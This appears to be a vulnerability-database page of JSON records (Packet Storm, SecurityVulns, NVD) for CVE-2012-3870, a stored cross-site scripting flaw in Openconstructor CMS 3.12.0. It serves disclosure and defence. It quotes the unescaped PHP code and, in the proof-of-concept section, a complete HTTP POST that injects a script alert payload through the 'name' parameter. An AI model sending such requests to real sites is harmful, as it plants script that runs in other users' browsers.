DATABASE RESOURCES PRICING ABOUT US

{"id": "PACKETSTORM:115276", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Openconstructor CMS 3.12.0 Cross Site Scripting", "description": "", "published": "2012-08-04T00:00:00", "modified": "2012-08-04T00:00:00", "cvss": {"vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:NONE/I:PARTIAL/A:NONE/", "score": 3.5}, "href": "https://packetstormsecurity.com/files/115276/Openconstructor-CMS-3.12.0-Cross-Site-Scripting.html", "reporter": "Lorenzo Cantoni", "references": [], "cvelist": ["CVE-2012-3870"], "lastseen": "2016-12-05T22:17:57", "viewCount": 12, "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2012-3870"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:28377"]}], "rev": 4}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2012-3870"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:28377"]}]}, "exploitation": null, "vulnersScore": -0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/115276/openconstructor-xss.txt", "sourceData": "`###Title###: \nOpenconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting vulnerabilities \n \n \n###Affected Software###: \nhttp://www.openconstructor.org/ \nhttp://code.google.com/p/openconstructor/downloads/list \nhttp://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234 \n \n \n###Description###: \nOpenconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP. Stored XSS vulnerabilities exist on the 'name' and 'description' \nparameters, which are used as properties when creating a new object. Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested. \n \n \n###CVE### \nCVE-2012-3870 \n \n \n###Impact###: \nAuthenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other user's browser. \n \nCVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N) \n \n \n###Credits###: \nLorenzo Cantoni (lorenzo[dot]cantoni86[at]gmail[dot]com) \n \n \n###Details###: \nWhen creating a new object in the \"object\" section, the application asks to set a name and a description for that object. \nThe application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an Internet Explorer 7 browser (because the application is designed \nto work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks. \n \n'createobject.php' contains multiple lines of code (for the various kind of objects) with code similar to the following one: \n \n$obj->name = $_POST['name']; \n$obj->description = $_POST['description']; \n$result = ObjManager::create($obj); \n \n$obj with name and description attributes is passed to ObjManager::create() function without HTML escaping. \n \nWhen the user access the \"Object\" section and list the objects with a malicious name or description, will trigger the exploit. Additionally, if the object can be published, \nthe exploit can be triggered also in the \"Sitemap\" section. \n \n \n###Proof of Concept###: \nHere is a trace of the required POST to plant the javascript \n \nPOST /openconstructor/objects/createobject.php HTTP/1.1 \nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* \nReferer: http://10.0.2.15/openconstructor/objects/createobject.php?ds_type=htmltext&obj_type=htmltextbody \nAccept-Language: it \nContent-Type: application/x-www-form-urlencoded \nUA-CPU: x86 \nAccept-Encoding: gzip, deflate \nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) \nProxy-Connection: Keep-Alive \nHost: 10.0.2.15 \nPragma: no-cache \nCookie: curnode=htmltextbody; PHPSESSID=s8fnmtbfv0h1ofdeotu4h75p33; wcsUserLogin=root; wcsUserName=Administrator \nContent-Length: 141 \n \nds_type=htmltext&obj_type=htmltextbody&name=xssed+%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&description=asd&ds_id=3&createobject=Create \n \n \n \n###Disclosure### \n[08/07/2012] Lead Developer contacted. \n[22/07/2012] No response. Sent another mail. \n[04/08/2012] Still no response. Public disclosure. \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645323110, "score": 1659770509}}

{"securityvulns": [{"lastseen": "2018-08-31T11:10:45", "bulletinFamily": "software", "cvelist": ["CVE-2012-3870"], "description": "\r\n\r\n###Title###: \r\nOpenconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting vulnerabilities\r\n\r\n\r\n###Affected Software###:\r\nhttp://www.openconstructor.org/\r\nhttp://code.google.com/p/openconstructor/downloads/list\r\nhttp://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234\r\n\r\n\r\n###Description###: \r\nOpenconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP. Stored XSS vulnerabilities exist on the 'name' and 'description' \r\nparameters, which are used as properties when creating a new object. Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested.\r\n\r\n\r\n###CVE###\r\nCVE-2012-3870\r\n\r\n\r\n###Impact###:\r\nAuthenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other user's browser.\r\n\r\nCVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N)\r\n\r\n\r\n###Credits###: \r\nLorenzo Cantoni (lorenzo[dot]cantoni86[at]gmail[dot]com)\r\n\r\n\r\n###Details###:\r\nWhen creating a new object in the "object" section, the application asks to set a name and a description for that object.\r\nThe application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an Internet Explorer 7 browser (because the application is designed\r\nto work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks.\r\n\r\n'createobject.php' contains multiple lines of code (for the various kind of objects) with code similar to the following one:\r\n\r\n$obj->name = $_POST['name'];\r\n$obj->description = $_POST['description'];\r\n$result = ObjManager::create($obj);\r\n\r\n$obj with name and description attributes is passed to ObjManager::create() function without HTML escaping.\r\n\r\nWhen the user access the "Object" section and list the objects with a malicious name or description, will trigger the exploit. Additionally, if the object can be published,\r\nthe exploit can be triggered also in the "Sitemap" section.\r\n\r\n\r\n###Proof of Concept###:\r\nHere is a trace of the required POST to plant the javascript\r\n\r\nPOST /openconstructor/objects/createobject.php HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*\r\nReferer: http://10.0.2.15/openconstructor/objects/createobject.php?ds_type=htmltext&obj_type=htmltextbody\r\nAccept-Language: it\r\nContent-Type: application/x-www-form-urlencoded\r\nUA-CPU: x86\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\r\nProxy-Connection: Keep-Alive\r\nHost: 10.0.2.15\r\nPragma: no-cache\r\nCookie: curnode=htmltextbody; PHPSESSID=s8fnmtbfv0h1ofdeotu4h75p33; wcsUserLogin=root; wcsUserName=Administrator\r\nContent-Length: 141\r\n\r\nds_type=htmltext&obj_type=htmltextbody&name=xssed+%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&description=asd&ds_id=3&createobject=Create\r\n\r\n\r\n\r\n###Disclosure###\r\n[08/07/2012] Lead Developer contacted.\r\n[22/07/2012] No response. Sent another mail.\r\n[04/08/2012] Still no response. Public disclosure.\r\n", "edition": 1, "modified": "2012-08-13T00:00:00", "published": "2012-08-13T00:00:00", "id": "SECURITYVULNS:DOC:28377", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:28377", "title": "[CVE-2012-3870] Openconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting vulnerabilities", "type": "securityvulns", "cvss": {"score": 3.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:NONE/I:PARTIAL/A:NONE/"}}], "cve": [{"lastseen": "2022-03-23T12:45:31", "description": "Multiple cross-site scripting (XSS) vulnerabilities in objects/createobject.php in Open Constructor 3.12.0 allow remote authenticated users to inject arbitrary web script or HTML via the (1) name or (2) description parameter.", "cvss3": {}, "published": "2012-12-28T11:48:00", "type": "cve", "title": "CVE-2012-3870", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 3.5, "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-3870"], "modified": "2012-12-28T11:48:00", "cpe": ["cpe:/a:openconstructor_project:openconstructor:3.12.0"], "id": "CVE-2012-3870", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-3870", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:openconstructor_project:openconstructor:3.12.0:*:*:*:*:*:*:*"]}]}